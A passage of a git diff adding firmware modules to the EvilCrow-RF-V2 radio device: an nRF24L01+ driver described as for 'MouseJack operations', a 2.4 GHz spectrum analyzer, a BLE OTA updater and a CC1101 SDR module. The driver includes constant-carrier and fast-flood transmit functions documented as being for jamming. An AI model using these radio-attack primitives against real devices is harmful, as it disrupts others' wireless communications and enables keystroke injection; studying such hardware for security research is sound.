(non-blocking) + ceHigh(); + delayMicroseconds(15); + ceLow(); +} + +void NrfModule::setPayloadSize(uint8_t size) { + if (size > 32) size = 32; + writeRegister(NRF_REG_RX_PW_P0, size); + writeRegister(NRF_REG_RX_PW_P1, size); +} + +void NrfModule::disableCRC() { + uint8_t config = readRegister(NRF_REG_CONFIG); + config &= ~NRF_EN_CRC; + writeRegister(NRF_REG_CONFIG, config); +} + +void NrfModule::startConstCarrier(uint8_t channel) { + ceLow(); + + // Power up, TX mode + writeRegister(NRF_REG_CONFIG, NRF_PWR_UP); + delay(2); + + // Set max power, force PLL lock, set data rate + uint8_t rfSetup = readRegister(NRF_REG_RF_SETUP); + rfSetup |= 0x90; // CONT_WAVE + PLL_LOCK + rfSetup |= NRF_RF_PWR_MAX; + writeRegister(NRF_REG_RF_SETUP, rfSetup); + + setChannel(channel); + + // Disable auto-ack + writeRegister(NRF_REG_EN_AA, 0x00); + + ceHigh(); + ESP_LOGI(TAG, "Constant carrier on channel %d", channel); +} + +void NrfModule::stopConstCarrier() { + ceLow(); + + uint8_t rfSetup = readRegister(NRF_REG_RF_SETUP); + rfSetup &= ~0x90; // Clear CONT_WAVE + PLL_LOCK + writeRegister(NRF_REG_RF_SETUP, rfSetup); + + powerDown(); + ESP_LOGI(TAG, "Constant carrier stopped"); +} + +void NrfModule::flushTx() { + beginTransaction(); + spiTransfer(NRF_CMD_FLUSH_TX); + endTransaction(); +} + +void NrfModule::flushRx() { + beginTransaction(); + spiTransfer(NRF_CMD_FLUSH_RX); + endTransaction(); +} + +void NrfModule::powerDown() { + ceLow(); + uint8_t config = readRegister(NRF_REG_CONFIG); + config &= ~NRF_PWR_UP; + writeRegister(NRF_REG_CONFIG, config); +} + +void NrfModule::powerUp() { + uint8_t config = readRegister(NRF_REG_CONFIG); + config |= NRF_PWR_UP; + writeRegister(NRF_REG_CONFIG, config); + delay(2); +} + +bool NrfModule::testRPD() { + return readRegister(NRF_REG_RPD) & 0x01; +} + +void NrfModule::ceHigh() { + digitalWrite(NRF_CE, HIGH); +} + +void NrfModule::ceLow() { + digitalWrite(NRF_CE, LOW); +} diff --git a/src/modules/nrf/NrfModule.h b/src/modules/nrf/NrfModule.h new file mode 100644 index 0000000..d4a444f --- /dev/null +++ b/src/modules/nrf/NrfModule.h @@ -0,0 +1,181 @@ +/** + * @file NrfModule.h + * @brief nRF24L01 hardware abstraction layer for EvilCrow-RF-V2. + * + * Provides low-level register access, SPI bus management with CC1101 + * coexistence via shared HSPI mutex, and basic radio operations + * (channel set, promiscuous RX, TX). + * + * Pin assignment (same PCB as EvilMouse): + * CE = GPIO 33 (Chip Enable) + * CSN = GPIO 15 (SPI Chip Select) + * SCK/MISO/MOSI shared with CC1101 on HSPI (14/12/13) + */ + +#ifndef NRF_MODULE_H +#define NRF_MODULE_H + +#include +#include +#include +#include "config.h" + +// ── nRF24L01+ register map (subset we actually use) ────────────── +#define NRF_REG_CONFIG 0x00 +#define NRF_REG_EN_AA 0x01 +#define NRF_REG_EN_RXADDR 0x02 +#define NRF_REG_SETUP_AW 0x03 +#define NRF_REG_SETUP_RETR 0x04 +#define NRF_REG_RF_CH 0x05 +#define NRF_REG_RF_SETUP 0x06 +#define NRF_REG_STATUS 0x07 +#define NRF_REG_OBSERVE_TX 0x08 +#define NRF_REG_RPD 0x09 +#define NRF_REG_RX_ADDR_P0 0x0A +#define NRF_REG_RX_ADDR_P1 0x0B +#define NRF_REG_TX_ADDR 0x10 +#define NRF_REG_RX_PW_P0 0x11 +#define NRF_REG_RX_PW_P1 0x12 +#define NRF_REG_FIFO_STATUS 0x17 +#define NRF_REG_DYNPD 0x1C +#define NRF_REG_FEATURE 0x1D + +// SPI commands +#define NRF_CMD_R_REGISTER 0x00 +#define NRF_CMD_W_REGISTER 0x20 +#define NRF_CMD_R_RX_PAYLOAD 0x61 +#define NRF_CMD_W_TX_PAYLOAD 0xA0 +#define NRF_CMD_FLUSH_TX 0xE1 +#define NRF_CMD_FLUSH_RX 0xE2 +#define NRF_CMD_NOP 0xFF + +// Config bits +#define NRF_MASK_RX_DR (1 << 6) +#define NRF_MASK_TX_DS (1 << 5) +#define NRF_MASK_MAX_RT (1 << 4) +#define NRF_EN_CRC (1 << 3) +#define NRF_CRCO (1 << 2) +#define NRF_PWR_UP (1 << 1) +#define NRF_PRIM_RX (1 << 0) + +// RF Setup bits +#define NRF_RF_DR_HIGH (1 << 3) +#define NRF_RF_DR_LOW (1 << 5) +#define NRF_RF_PWR_MAX 0x06 // 0dBm + +// Data rates +enum NrfDataRate : uint8_t { + NRF_1MBPS = 0, + NRF_2MBPS = 1, + NRF_250KBPS = 2 +}; + +/** + * @class NrfModule + * @brief Minimal custom nRF24L01+ driver (~3KB) for MouseJack operations. + * + * Uses the existing CC1101 SPI mutex (ModuleCc1101::rwSemaphore) + * for safe bus sharing. + */ +class NrfModule { +public: + /** + * Initialize nRF24L01 on shared HSPI bus. + * Configures CE/CSN pins and verifies chip presence. + * @return true if nRF24 responds correctly. + */ + static bool init(); + + /// Release SPI and set pins to idle state. + static void deinit(); + + /// @return true if nRF24 hardware is detected and initialized. + static bool isPresent(); + + /// @return true if module has been initialized. + static bool isInitialized() { return initialized_; } + + // ── SPI bus management (uses CC1101 mutex) ────────────────── + /// Acquire shared SPI mutex. Deselects all CC1101 CS lines. + static bool acquireSpi(TickType_t timeout = pdMS_TO_TICKS(200)); + /// Release shared SPI mutex. + static void releaseSpi(); + + // ── Register access ───────────────────────────────────────── + static uint8_t readRegister(uint8_t reg); + static void readRegister(uint8_t reg, uint8_t* buf, uint8_t len); + static void writeRegister(uint8_t reg, uint8_t value); + static void writeRegister(uint8_t reg, const uint8_t* buf, uint8_t len); + + // ── Radio operations ──────────────────────────────────────── + static void setChannel(uint8_t ch); + static uint8_t getChannel(); + static void setDataRate(NrfDataRate rate); + static void setPALevel(uint8_t level); // 0-3 (min-max) + static void setAddressWidth(uint8_t width); // 2-5 bytes + + /// Enter promiscuous RX mode for scanning. + static void setPromiscuousMode(); + + /// Configure TX mode with target address. + static void setTxMode(const uint8_t* addr, uint8_t addrLen); + + /// Attempt to receive a packet. Returns bytes read, 0 if none. + static uint8_t receive(uint8_t* buf, uint8_t maxLen); + + /// Transmit a packet (blocking, with retransmit). + static bool transmit(const uint8_t* buf, uint8_t len); + + /** + * Non-blocking fast write for jamming data flooding. + * Loads payload into TX FIFO and pulses CE to transmit immediately. + * Does NOT wait for TX completion β€” used for rapid channel-hopping spam. + * @param buf Payload data. + * @param len Payload length (max 32). + */ + static void writeFast(const void* buf, uint8_t len); + + /// Set fixed payload size (1-32 bytes). + static void setPayloadSize(uint8_t size); + + /// Disable CRC checking. + static void disableCRC(); + + /// Enable constant carrier (for jamming). + static void startConstCarrier(uint8_t channel); + + /// Stop constant carrier. + static void stopConstCarrier(); + + /// Flush TX and RX FIFOs. + static void flushTx(); + static void flushRx(); + + /// Power down the radio. + static void powerDown(); + + /// Power up in standby. + static void powerUp(); + + /// Read RPD (Received Power Detector) β€” 1 = signal above -64dBm. + static bool testRPD(); + + /// CE pin control. + static void ceHigh(); + static void ceLow(); + +private: + static bool initialized_; + static bool present_; + static SPIClass* hspi_; + + /// Raw SPI transfer (must hold mutex). + static uint8_t spiTransfer(uint8_t cmd); + static void spiTransfer(uint8_t cmd, uint8_t* buf, uint8_t len); + + /// Begin/end SPI transaction (CSN low/high). + static void beginTransaction(); + static void endTransaction(); +}; + +#endif // NRF_MODULE_H diff --git a/src/modules/nrf/NrfSpectrum.cpp b/src/modules/nrf/NrfSpectrum.cpp new file mode 100644 index 0000000..5f93abd --- /dev/null +++ b/src/modules/nrf/NrfSpectrum.cpp @@ -0,0 +1,145 @@ +/** + * @file NrfSpectrum.cpp + * @brief 2.4 GHz spectrum analyzer implementation. + * + * Uses the nRF24L01+ RPD (Received Power Detector) register to detect + * signal presence on each channel. Applies exponential moving average + * for smooth visualization (like the BRUCE firmware approach). + */ + +#include "NrfSpectrum.h" +#include "NrfModule.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "esp_log.h" + +static const char* TAG = "NrfSpectrum"; + +// Static members +volatile bool NrfSpectrum::running_ = false; +volatile bool NrfSpectrum::stopRequest_ = false; +TaskHandle_t NrfSpectrum::taskHandle_ = nullptr; +uint8_t NrfSpectrum::channelLevels_[NRF_SPECTRUM_CHANNELS] = {}; + +bool NrfSpectrum::start() { + if (running_) { + ESP_LOGW(TAG, "Already running"); + return false; + } + if (!NrfModule::isPresent()) { + ESP_LOGE(TAG, "NRF not present"); + return false; + } + + stopRequest_ = false; + running_ = true; + memset(channelLevels_, 0, sizeof(channelLevels_)); + + BaseType_t result = xTaskCreatePinnedToCore( + spectrumTask, "NrfSpec", 3072, nullptr, 2, &taskHandle_, 1); + + if (result != pdPASS) { + ESP_LOGE(TAG, "Failed to create spectrum task"); + running_ = false; + return false; + } + + ESP_LOGI(TAG, "Spectrum analyzer started"); + return true; +} + +void NrfSpectrum::stop() { + if (!running_) return; + stopRequest_ = true; + ESP_LOGI(TAG, "Spectrum stop requested"); +} + +void NrfSpectrum::getLevels(uint8_t* levels) { + memcpy(levels, channelLevels_, NRF_SPECTRUM_CHANNELS); +} + +void NrfSpectrum::scanOnce() { + // Must be called with SPI mutex held + NrfModule::ceLow(); + + for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) { + NrfModule::setChannel(i); + + // Enter RX mode briefly to trigger RPD sampling + NrfModule::writeRegister(NRF_REG_CONFIG, + NRF_PWR_UP | NRF_PRIM_RX); + NrfModule::ceHigh(); + delayMicroseconds(170); // ~170Β΅s: 130Β΅s RX settle + 40Β΅s RPD sample window + NrfModule::ceLow(); + + // Read RPD: 1 = signal above -64dBm detected during RX + int rpd = NrfModule::testRPD() ? 1 : 0; + + // Fast-decay EMA: (level + rpd * 100) / 2 + // Decay ratio ~50% per sweep (vs old 75%), so bars drop in 3-4 sweeps + // instead of 10+. Matches the CC1101 analyzer behavior. + channelLevels_[i] = (uint8_t)((channelLevels_[i] + rpd * 100) / 2); + } +} + +void NrfSpectrum::spectrumTask(void* param) { + ESP_LOGI(TAG, "Spectrum task started"); + + // Notification buffer: [msgType:1][80 channel levels] + uint8_t notifBuf[1 + NRF_SPECTRUM_CHANNELS]; + notifBuf[0] = MSG_NRF_SPECTRUM_DATA; + + uint32_t notifyCounter = 0; + + while (!stopRequest_) { + if (!NrfModule::acquireSpi(pdMS_TO_TICKS(100))) { + vTaskDelay(pdMS_TO_TICKS(50)); + continue; + } + + // Configure radio for wideband spectrum sensing + NrfModule::writeRegister(NRF_REG_EN_AA, 0x00); // No auto-ack + NrfModule::writeRegister(NRF_REG_SETUP_AW, 0x00); // 2-byte address (promiscuous) + NrfModule::setDataRate(NRF_1MBPS); + + // Open 6 reading pipes at noise-detection addresses exactly like + // the BRUCE reference firmware. More pipes = higher sensitivity + // because the radio checks all pipe addresses in parallel. + const uint8_t noiseAddr[][2] = { + {0x55, 0x55}, {0xAA, 0xAA}, {0xA0, 0xAA}, + {0xAB, 0xAA}, {0xAC, 0xAA}, {0xAD, 0xAA} + }; + NrfModule::writeRegister(NRF_REG_RX_ADDR_P0, noiseAddr[0], 2); + NrfModule::writeRegister(NRF_REG_RX_ADDR_P1, noiseAddr[1], 2); + // Pipes 2-5 share address bytes [1..N] with pipe 1, only byte 0 differs + NrfModule::writeRegister(0x0C, noiseAddr[2][0]); // RX_ADDR_P2 + NrfModule::writeRegister(0x0D, noiseAddr[3][0]); // RX_ADDR_P3 + NrfModule::writeRegister(0x0E, noiseAddr[4][0]); // RX_ADDR_P4 + NrfModule::writeRegister(0x0F, noiseAddr[5][0]); // RX_ADDR_P5 + NrfModule::writeRegister(NRF_REG_EN_RXADDR, 0x3F); // Enable all 6 pipes + + // Perform one full sweep + scanOnce(); + + NrfModule::powerDown(); + NrfModule::releaseSpi(); + + // Send levels via BLE notification every 2nd sweep for smooth + // real-time display (was every 3rd β€” too laggy for spectrum viz) + notifyCounter++; + if (notifyCounter % 2 == 0) { + memcpy(notifBuf + 1, channelLevels_, NRF_SPECTRUM_CHANNELS); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notifBuf, sizeof(notifBuf)); + } + + // ~25ms between scans gives ~40fps effective update rate + vTaskDelay(pdMS_TO_TICKS(25)); + } + + // Cleanup + running_ = false; + taskHandle_ = nullptr; + ESP_LOGI(TAG, "Spectrum task ended"); + vTaskDelete(nullptr); +} diff --git a/src/modules/nrf/NrfSpectrum.h b/src/modules/nrf/NrfSpectrum.h new file mode 100644 index 0000000..3f6107a --- /dev/null +++ b/src/modules/nrf/NrfSpectrum.h @@ -0,0 +1,58 @@ +/** + * @file NrfSpectrum.h + * @brief 2.4 GHz spectrum analyzer using nRF24L01+ RPD register. + * + * Sweeps channels 0-125 (2.400-2.525 GHz, full ISM band) and reports + * signal strength via BLE notifications for real-time visualization. + */ + +#ifndef NRF_SPECTRUM_H +#define NRF_SPECTRUM_H + +#include +#include + +/// Number of 2.4 GHz channels to scan (0-125 = 126 channels, full nRF24L01+ range) +#define NRF_SPECTRUM_CHANNELS 126 + +/** + * @class NrfSpectrum + * @brief Real-time 2.4 GHz spectrum analyzer. + * + * Continuously scans all 126 channels and sends level data + * via BLE notification. Each channel level is an exponentially + * weighted moving average of RPD readings. + */ +class NrfSpectrum { +public: + /// Start spectrum analyzer task. + static bool start(); + + /// Stop spectrum analyzer task. + static void stop(); + + /// @return true if currently scanning. + static bool isRunning() { return running_; } + + /// Get current channel levels (0-100 scale). + /// @param[out] levels Array of NRF_SPECTRUM_CHANNELS (126) values. + static void getLevels(uint8_t* levels); + + /// Single scan sweep (for manual/non-task usage). + /// Caller must hold SPI mutex. + static void scanOnce(); + + /// Get the raw channel array pointer (read-only). + static const uint8_t* getRawLevels() { return channelLevels_; } + +private: + static volatile bool running_; + static volatile bool stopRequest_; + static TaskHandle_t taskHandle_; + static uint8_t channelLevels_[NRF_SPECTRUM_CHANNELS]; + + /// Background task that continuously scans. + static void spectrumTask(void* param); +}; + +#endif // NRF_SPECTRUM_H diff --git a/src/modules/ota/OtaModule.cpp b/src/modules/ota/OtaModule.cpp new file mode 100644 index 0000000..c58b519 --- /dev/null +++ b/src/modules/ota/OtaModule.cpp @@ -0,0 +1,154 @@ +/** + * @file OtaModule.cpp + * @brief BLE OTA firmware update implementation. + * + * Uses the ESP32 Update library to write firmware chunks to the + * inactive OTA partition. Verifies MD5 integrity before marking + * the new partition as bootable. + */ + +#include "OtaModule.h" +#include "esp_log.h" +#include "esp_ota_ops.h" + +static const char* TAG = "OtaModule"; + +// Static members +OtaState OtaModule::state_ = OTA_IDLE; +uint32_t OtaModule::totalSize_ = 0; +uint32_t OtaModule::bytesReceived_ = 0; +char OtaModule::expectedMd5_[33] = {}; +char OtaModule::lastError_[64] = {}; + +bool OtaModule::begin(uint32_t totalSize, const char* md5Hash) { + if (state_ != OTA_IDLE) { + snprintf(lastError_, sizeof(lastError_), "OTA already in progress (state=%d)", state_); + ESP_LOGE(TAG, "%s", lastError_); + return false; + } + + // Validate size (must fit in OTA partition: ~1900KB = 0x1D0000) + if (totalSize == 0 || totalSize > 0x1D0000) { + snprintf(lastError_, sizeof(lastError_), "Invalid size: %lu (max=%lu)", + (unsigned long)totalSize, (unsigned long)0x1D0000); + ESP_LOGE(TAG, "%s", lastError_); + return false; + } + + // Store expected MD5 + if (md5Hash && strlen(md5Hash) == 32) { + strncpy(expectedMd5_, md5Hash, 32); + expectedMd5_[32] = '\0'; + } else { + expectedMd5_[0] = '\0'; + ESP_LOGW(TAG, "No MD5 hash provided β€” skipping verification"); + } + + // Begin ESP32 Update + if (!Update.begin(totalSize, U_FLASH)) { + snprintf(lastError_, sizeof(lastError_), "Update.begin failed: %s", + Update.errorString()); + ESP_LOGE(TAG, "%s", lastError_); + return false; + } + + // Set MD5 for verification if provided + if (expectedMd5_[0] != '\0') { + Update.setMD5(expectedMd5_); + } + + totalSize_ = totalSize; + bytesReceived_ = 0; + state_ = OTA_RECEIVING; + lastError_[0] = '\0'; + + ESP_LOGI(TAG, "OTA started: size=%lu, md5=%s", + (unsigned long)totalSize, expectedMd5_[0] ? expectedMd5_ : "none"); + return true; +} + +bool OtaModule::writeChunk(const uint8_t* data, size_t len) { + if (state_ != OTA_RECEIVING) { + snprintf(lastError_, sizeof(lastError_), "Not receiving (state=%d)", state_); + return false; + } + + if (bytesReceived_ + len > totalSize_) { + snprintf(lastError_, sizeof(lastError_), "Chunk exceeds total size"); + ESP_LOGE(TAG, "%s", lastError_); + abort(); + return false; + } + + size_t written = Update.write(const_cast(data), len); + if (written != len) { + snprintf(lastError_, sizeof(lastError_), "Write failed: %s", + Update.errorString()); + ESP_LOGE(TAG, "%s (wrote %zu of %zu)", lastError_, written, len); + abort(); + return false; + } + + bytesReceived_ += len; + + // Log progress every 10% + uint8_t pct = getProgress(); + static uint8_t lastPct = 0; + if (pct / 10 != lastPct / 10) { + ESP_LOGI(TAG, "OTA progress: %d%% (%lu/%lu)", pct, + (unsigned long)bytesReceived_, (unsigned long)totalSize_); + lastPct = pct; + } + + return true; +} + +bool OtaModule::end() { + if (state_ != OTA_RECEIVING) { + snprintf(lastError_, sizeof(lastError_), "Not receiving (state=%d)", state_); + return false; + } + + if (bytesReceived_ != totalSize_) { + snprintf(lastError_, sizeof(lastError_), "Incomplete: %lu/%lu bytes", + (unsigned long)bytesReceived_, (unsigned long)totalSize_); + ESP_LOGE(TAG, "%s", lastError_); + abort(); + return false; + } + + state_ = OTA_VERIFYING; + + // Finalize β€” this verifies MD5 if set + if (!Update.end(true)) { + snprintf(lastError_, sizeof(lastError_), "Verify failed: %s", + Update.errorString()); + ESP_LOGE(TAG, "%s", lastError_); + state_ = OTA_ERROR; + return false; + } + + state_ = OTA_COMPLETE; + ESP_LOGI(TAG, "OTA update verified and written successfully!"); + ESP_LOGI(TAG, "Reboot to activate new firmware."); + return true; +} + +void OtaModule::abort() { + if (state_ == OTA_IDLE) return; + + Update.abort(); + state_ = OTA_ERROR; + ESP_LOGW(TAG, "OTA aborted: %s", lastError_[0] ? lastError_ : "user abort"); +} + +void OtaModule::reboot() { + ESP_LOGI(TAG, "Rebooting to new firmware..."); + delay(500); + ESP.restart(); +} + +uint8_t OtaModule::getProgress() { + if (totalSize_ == 0) return 0; + return (uint8_t)((bytesReceived_ * 100) / totalSize_); +} diff --git a/src/modules/ota/OtaModule.h b/src/modules/ota/OtaModule.h new file mode 100644 index 0000000..9d78f4e --- /dev/null +++ b/src/modules/ota/OtaModule.h @@ -0,0 +1,94 @@ +/** + * @file OtaModule.h + * @brief BLE OTA firmware update handler for EvilCrow-RF-V2. + * + * Receives firmware binary chunks over BLE, verifies MD5 integrity, + * and writes to the OTA partition using ESP32 Update library. + * Also supports serial-based flashing (binary forwarded from app via USB). + * + * Partition layout (from partitions.csv): + * app0 = ota_0 (0x10000, 0x1D0000 = 1,900KB) + * app1 = ota_1 (0x1E0000, 0x1D0000 = 1,900KB) + * + * Protocol: + * 1. App sends OTA_BEGIN with total size + MD5 hash + * 2. App sends OTA_DATA chunks (max ~500 bytes each, BLE MTU limited) + * 3. App sends OTA_END to finalize + * 4. Firmware verifies MD5, writes to flash, reboots + */ + +#ifndef OTA_MODULE_H +#define OTA_MODULE_H + +#include +#include +#include + +/// OTA update state machine +enum OtaState : uint8_t { + OTA_IDLE = 0, + OTA_RECEIVING = 1, + OTA_VERIFYING = 2, + OTA_WRITING = 3, + OTA_COMPLETE = 4, + OTA_ERROR = 5, +}; + +/** + * @class OtaModule + * @brief Manages BLE OTA firmware updates. + */ +class OtaModule { +public: + /** + * Begin OTA update session. + * @param totalSize Total firmware binary size in bytes. + * @param md5Hash Expected MD5 hash (32-char hex string, null-terminated). + * @return true if OTA session started successfully. + */ + static bool begin(uint32_t totalSize, const char* md5Hash); + + /** + * Write a chunk of firmware data. + * @param data Pointer to chunk data. + * @param len Chunk size in bytes. + * @return true if chunk written successfully. + */ + static bool writeChunk(const uint8_t* data, size_t len); + + /** + * Finalize OTA update β€” verify MD5, mark partition bootable. + * @return true if update verified and ready to reboot. + */ + static bool end(); + + /// Abort OTA update and clean up. + static void abort(); + + /// Reboot into the new firmware. + static void reboot(); + + /// @return current OTA state. + static OtaState getState() { return state_; } + + /// @return bytes received so far. + static uint32_t getBytesReceived() { return bytesReceived_; } + + /// @return total expected size. + static uint32_t getTotalSize() { return totalSize_; } + + /// @return progress percentage (0-100). + static uint8_t getProgress(); + + /// @return last error message (empty if no error). + static const char* getLastError() { return lastError_; } + +private: + static OtaState state_; + static uint32_t totalSize_; + static uint32_t bytesReceived_; + static char expectedMd5_[33]; // 32 hex chars + null + static char lastError_[64]; +}; + +#endif // OTA_MODULE_H diff --git a/src/modules/sdr/SdrModule.cpp b/src/modules/sdr/SdrModule.cpp new file mode 100644 index 0000000..944cb9d --- /dev/null +++ b/src/modules/sdr/SdrModule.cpp @@ -0,0 +1,693 @@ +/** + * @file SdrModule.cpp + * @brief SDR mode implementation for EvilCrow-RF-V2. + * + * Uses the CC1101 transceiver to provide spectrum scanning, raw RX + * streaming, and a HackRF-compatible serial command interface. + * + * The CC1101 is NOT a true SDR β€” spectrum data is real RSSI, but + * "raw RX" data comes from the demodulator, not as raw IQ samples. + * + * Thread safety: SDR operations use the CC1101 SPI semaphore + * (ModuleCc1101::getSpiSemaphore()) for all hardware access. + */ + +#include "SdrModule.h" + +#if SDR_MODULE_ENABLED + +#include "modules/CC1101_driver/CC1101_Worker.h" +#include "CC1101_Radio.h" +#include + +static const char* TAG = "SDR"; + +// ── Static member initialization ──────────────────────────────────── + +bool SdrModule::active_ = false; +bool SdrModule::streaming_ = false; +bool SdrModule::initialized_ = false; +int SdrModule::sdrModule_ = SDR_DEFAULT_MODULE; +float SdrModule::currentFreqMHz_ = 433.92f; +int SdrModule::currentModulation_ = MODULATION_ASK_OOK; +float SdrModule::currentBandwidthKHz_ = 650.0f; +float SdrModule::currentDataRate_ = 3.79372f; +uint32_t SdrModule::streamSeqNum_ = 0; +uint32_t SdrModule::totalBytesStreamed_ = 0; +SdrSubMode SdrModule::subMode_ = SdrSubMode::Idle; + +// ── Initialization ────────────────────────────────────────────────── + +void SdrModule::init() { + if (initialized_) return; + ESP_LOGI(TAG, "SDR module initialized (inactive, module=%d)", SDR_DEFAULT_MODULE); + initialized_ = true; +} + +// ── SDR mode lifecycle ────────────────────────────────────────────── + +bool SdrModule::enable(int module) { + if (active_) { + ESP_LOGW(TAG, "SDR mode already active"); + return true; + } + + // Validate module index + if (module < 0 || module >= CC1101_NUM_MODULES) { + ESP_LOGE(TAG, "Invalid CC1101 module index: %d", module); + return false; + } + + // Check that the target module is idle (not doing other work) + CC1101State currentState = CC1101Worker::getState(module); + if (currentState != CC1101State::Idle) { + ESP_LOGE(TAG, "CC1101 module %d is busy (state=%d), cannot enter SDR mode", + module, (int)currentState); + return false; + } + + sdrModule_ = module; + active_ = true; + streaming_ = false; + subMode_ = SdrSubMode::Idle; + streamSeqNum_ = 0; + totalBytesStreamed_ = 0; + + // Put the CC1101 module in idle mode + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setSidle(); + xSemaphoreGive(spiMutex); + } + + ESP_LOGI(TAG, "SDR mode ENABLED on module %d", sdrModule_); + sendStatus(); + return true; +} + +bool SdrModule::disable() { + if (!active_) { + ESP_LOGW(TAG, "SDR mode already inactive"); + return true; + } + + // Stop streaming if active + if (streaming_) { + stopRawRx(); + } + + // Put module back in idle + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setSidle(); + xSemaphoreGive(spiMutex); + } + + active_ = false; + subMode_ = SdrSubMode::Idle; + + ESP_LOGI(TAG, "SDR mode DISABLED"); + sendStatus(); + return true; +} + +SdrState SdrModule::getState() { + SdrState state; + state.active = active_; + state.subMode = subMode_; + state.module = sdrModule_; + state.centerFreqMHz = currentFreqMHz_; + state.modulation = currentModulation_; + state.samplesStreamed = totalBytesStreamed_; + return state; +} + +// ── Frequency and configuration ───────────────────────────────────── + +bool SdrModule::isValidFrequency(float freqMHz) { + // CC1101 supported bands: 300-348, 387-464, 779-928 MHz + return (freqMHz >= 300.0f && freqMHz <= 348.0f) || + (freqMHz >= 387.0f && freqMHz <= 464.0f) || + (freqMHz >= 779.0f && freqMHz <= 928.0f); +} + +bool SdrModule::setFrequency(float freqMHz) { + if (!active_) { + ESP_LOGW(TAG, "Cannot set frequency: SDR mode not active"); + return false; + } + + if (!isValidFrequency(freqMHz)) { + ESP_LOGW(TAG, "Frequency %.2f MHz out of CC1101 range", freqMHz); + return false; + } + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].changeFrequency(freqMHz); + currentFreqMHz_ = freqMHz; + xSemaphoreGive(spiMutex); + ESP_LOGI(TAG, "Frequency set to %.3f MHz", freqMHz); + return true; + } + + ESP_LOGE(TAG, "Failed to acquire SPI mutex for setFrequency"); + return false; +} + +bool SdrModule::setModulation(int mod) { + if (!active_) return false; + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + // Apply modulation via full config (keeps other settings) + moduleCC1101State[sdrModule_].setConfig( + MODE_RECEIVE, currentFreqMHz_, true, mod, + currentBandwidthKHz_, 1.58f, currentDataRate_); + moduleCC1101State[sdrModule_].initConfig(); + currentModulation_ = mod; + xSemaphoreGive(spiMutex); + ESP_LOGI(TAG, "Modulation set to %d", mod); + return true; + } + return false; +} + +bool SdrModule::setBandwidth(float bwKHz) { + if (!active_) return false; + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setReceiveConfig( + currentFreqMHz_, true, currentModulation_, + bwKHz, 1.58f, currentDataRate_); + moduleCC1101State[sdrModule_].initConfig(); + currentBandwidthKHz_ = bwKHz; + xSemaphoreGive(spiMutex); + ESP_LOGI(TAG, "Bandwidth set to %.1f kHz", bwKHz); + return true; + } + return false; +} + +bool SdrModule::setDataRate(float rate) { + if (!active_) return false; + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setReceiveConfig( + currentFreqMHz_, true, currentModulation_, + currentBandwidthKHz_, 1.58f, rate); + moduleCC1101State[sdrModule_].initConfig(); + currentDataRate_ = rate; + xSemaphoreGive(spiMutex); + ESP_LOGI(TAG, "Data rate set to %.2f kBaud", rate); + return true; + } + return false; +} + +// ── RSSI reading ──────────────────────────────────────────────────── + +int SdrModule::readRssi() { + // The CC1101 provides RSSI in its status register. + // moduleCC1101State[].getRssi() handles SPI read and dBm conversion. + return moduleCC1101State[sdrModule_].getRssi(); +} + +// ── Spectrum scan ─────────────────────────────────────────────────── + +int SdrModule::spectrumScan(const SpectrumScanConfig& config) { + if (!active_) { + ESP_LOGW(TAG, "Cannot scan: SDR mode not active"); + return 0; + } + + subMode_ = SdrSubMode::SpectrumScan; + + // Calculate total points + float range = config.endFreqMHz - config.startFreqMHz; + int totalPoints = (int)(range / config.stepMHz) + 1; + if (totalPoints > SDR_MAX_SPECTRUM_POINTS) { + totalPoints = SDR_MAX_SPECTRUM_POINTS; + } + if (totalPoints <= 0) { + ESP_LOGW(TAG, "Invalid spectrum scan range"); + subMode_ = SdrSubMode::Idle; + return 0; + } + + ESP_LOGI(TAG, "Spectrum scan: %.2f-%.2f MHz, step=%.3f MHz, %d points", + config.startFreqMHz, config.endFreqMHz, config.stepMHz, totalPoints); + + // Chunk size for BLE transmission (limited by BLE MTU ~120 bytes usable) + const int chunkSize = 60; // RSSI values per chunk + int totalChunks = (totalPoints + chunkSize - 1) / chunkSize; + + // Allocate a small buffer for one chunk of RSSI values + int8_t rssiBuffer[chunkSize]; + int pointsScanned = 0; + int chunkIndex = 0; + int bufferIdx = 0; + float chunkStartFreqMHz = config.startFreqMHz; + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + + for (int i = 0; i < totalPoints; i++) { + float freq = config.startFreqMHz + i * config.stepMHz; + + // Skip frequencies outside valid CC1101 bands + if (!isValidFrequency(freq)) { + rssiBuffer[bufferIdx++] = -128; // Mark as invalid + } else { + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(50))) { + // Set frequency + moduleCC1101State[sdrModule_].changeFrequency(freq); + + // Enter RX mode for RSSI measurement + cc1101.setModul(sdrModule_); + cc1101.SetRx(freq); + + xSemaphoreGive(spiMutex); + + // Wait for RSSI to settle + delayMicroseconds(SDR_RSSI_SETTLE_US); + + // Read RSSI (thread-safe via SPI semaphore inside getRssi) + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(50))) { + int rssi = moduleCC1101State[sdrModule_].getRssi(); + rssiBuffer[bufferIdx++] = (int8_t)constrain(rssi, -128, 0); + xSemaphoreGive(spiMutex); + } else { + rssiBuffer[bufferIdx++] = -128; + } + } else { + rssiBuffer[bufferIdx++] = -128; + } + } + + pointsScanned++; + + // Send chunk when buffer full or last point + if (bufferIdx >= chunkSize || i == totalPoints - 1) { + uint32_t startKhz = (uint32_t)(chunkStartFreqMHz * 1000.0f); + uint16_t stepKhz = (uint16_t)(config.stepMHz * 